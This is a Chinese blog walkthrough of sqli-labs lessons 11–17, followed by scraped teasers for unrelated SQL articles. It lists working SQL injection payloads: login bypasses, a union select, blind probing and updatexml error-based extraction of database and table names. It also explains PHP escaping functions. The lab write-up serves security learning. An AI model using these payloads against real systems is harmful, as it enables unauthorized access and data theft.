代码编织梦想

less11

用户名提交单引号显示sql语法错误,故存在sql注入
在这里插入图片描述

根据单引号报错,在用户名和密码任意行输入 万能密码:‘ or 1=1#

输入后username语句为:SELECT username, password FROM users WHERE username='' or 1=1; 双引号
password语句:Select * from admin where username='admin' and password='' or 1=1# 单引号

在这里插入图片描述
还有比如:1'union select 1,database()#

在这里插入图片描述

less12

输入双引号有报出sql语法错误
在这里插入图片描述
根据双引号报错,语句为:") or 1=1#
在这里插入图片描述

less13:

查看注入类型
在这里插入图片描述

分别为") or 1=1#') or 1=1#
两种方式都分别尝试过
结果都一样,只显示进入,但是不显示数据库内容
在这里插入图片描述

看来又是盲注了
使用语句:username=admin')and left(database(),1)>'a'#&password=任意密码
二分法或burp工具

less14

引号测试:
在这里插入图片描述
username:'")or 1=1# 单引号双引号
password:")or 1=1# 双引号

over~

less15

输入任何内容回显都一样,判断为布尔盲注和时间盲注
语句:’ or 1=1#

less16

同15:" or 1=1# 换成双引号

less17

看源码:

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}
 
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}
 
		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

知识点:

函数get_magic_quotes_gpc()

当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

在magic_quotes_gpc = On的情况下,如果输入的数据有

单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

stripslashes()删除由 addslashes() 函数添加的反斜杠

ctype_digit()判断是不是数字,是数字就返回true,否则返回false

mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。

intval() 整型转换

这一关中不能对username下手 要从passwordd开始

过程:

17关对username进行了严格的过滤

注入的格式:

admin' or updatexml(1, (concat('#',(payload))), 1) #

payload可以换成需要查询的函数

数据库名

admin' or updatexml(1, concat('#', database()), 1) #

表名

updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0) #

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_45694388/article/details/110951601

SQL注入基础原理-爱代码爱编程

目录 0、 select 和 limit1、SQL注释1.行间注释2.行内注释2.If语句3.Union注入4.探测字段数5.延时盲注5.SQL函数5.1substr()函数5.2 group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])5.2.1 conc

MySQL进阶操作总结:窗口函数、排名函数、case用法-爱代码爱编程

本篇主要是对本人刷完牛客面试必考真题SQL篇72题的知识点总结,主要包含一些非常实用的操作:窗口函数、排名函数和case语句,可以显著提升你的刷题速度哈! 刷题链接:牛客精选数据库SQL实战 SQL专题文章转送门: 牛客面试必考真题SQL篇72题全答案——基础篇 牛客面试必考真题SQL篇72题全答案——进阶篇 一文掌握python连接S

牛客面试必考真题SQL篇72题全答案——进阶篇-爱代码爱编程

本篇主要包含牛客面试必考真题SQL篇72题的进阶部分,主要包括较难级别(18题)和困难级别(4题),题目较为复杂,我的答案可能也不是最优解哈,欢迎大家多多指正! 刷题链接:牛客精选数据库SQL实战 SQL专题文章转送门: 牛客面试必考真题SQL篇72题全答案——基础篇 MySQL进阶操作总结:窗口函数、排名函数、case用法 一文掌握p

JDBC-爱代码爱编程

设置连接的数据库 /** * Date: 2020/12/8 * Author:kele * Description:将连接封装起来,德鲁伊数据库连接池 */ public class JdbcUtil { private static DataSource dataSource; //利用静态代码块只执行一次,创建一个数据库

SQL server 数据库的创建、修改、删除(命令语句操作)-爱代码爱编程

SQL server 数据库的创建和删除(命令操作) 一、数据库的创键 如果大家喜欢可以点个赞关注一下小编哦,谢谢 // 创键数据库 create database db_name ON ( NAME=db_name_data, //数据库命名 FILENAME='E:\db_name_data.mdf' , //存放主数据文件的

数据库面试要点:关于MySQL数据库千万级数据查询和存储-爱代码爱编程

摘要:百万级、千万级数据处理,核心关键在于数据存储方案设计,存储方案设计的是否合理,直接影响到数据CRUD操作。总体设计可以考虑一下几个方面进行设计考虑: 数据存储结构设计;索引设计;数据主键设计;查询方案设计。 百万级、千万级数据处理,个人认为核心关键在于数据存储方案设计,存储方案设计的是否合理,直接影响到数据CRUD操作。总体设计可以考虑一下几

SQL注入基础原理-爱代码爱编程

目录 0、 select 和 limit1、SQL注释1.行间注释2.行内注释2.If语句3.Union注入4.探测字段数5.延时盲注5.SQL函数5.1substr()函数5.2 group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])5.2.1 conc

Clickhouse 时间日期函数实战总结-爱代码爱编程

注:所有的时间日期函数都可以在第二个可选参数中接受时区参数。示例:Asia / Yekaterinburg。在这种情况下,它们使用指定的时区而不是本地(默认)时区。仅支持与UTC相差一整小时的时区。 localhost :) select toDateTime(146600280) AS time,toDateTime(146600280,'A

SQL列出数据库表的结构-爱代码爱编程

SELECT 表名 = case when a.colorder=1 then d.name else '' end, 表说明 = case when a.colorder=1 then isnull(f.value,'') else '' end, 字段序号 = a.colorder, 字段名

基于MyBatisPlus的代码生成(以Oracle为例)-爱代码爱编程

直接复制粘贴(把数据库地址,生成代码地址等修改后)就可以直接运行 package com.zz.bzyw.generator; import com.baomidou.mybatisplus.core.exceptions.MybatisPlusException; import com.baomidou.mybatisplus.core.toolkit

SQL之存储过程详细介绍及语法(转)-爱代码爱编程

SQL之存储过程详细介绍及语法(转) 1:定义 存储过程(stored procedure)是一组为了完成特定功能的SQL语句集合,经编译后存储在服务器端的数据库中,利用存储过程可以加速SQL语句的执行。 存储过程分为系统存储过程和自定义存储过程。 *系统存储过程在master数据库中,但是在其他的数据库中可以直接调用,并且在调用时不

按日期获取月的第几周--学习的忘了出处-爱代码爱编程

  SELECT         [Time],          CONVERT(varchar, YEAR([Time])) +'年'+CONVERT(varchar, month([Time])) +'月第'+CONVERT(varchar,  datepart(d,[Time])/7 + (case when datepart(d,[Time])%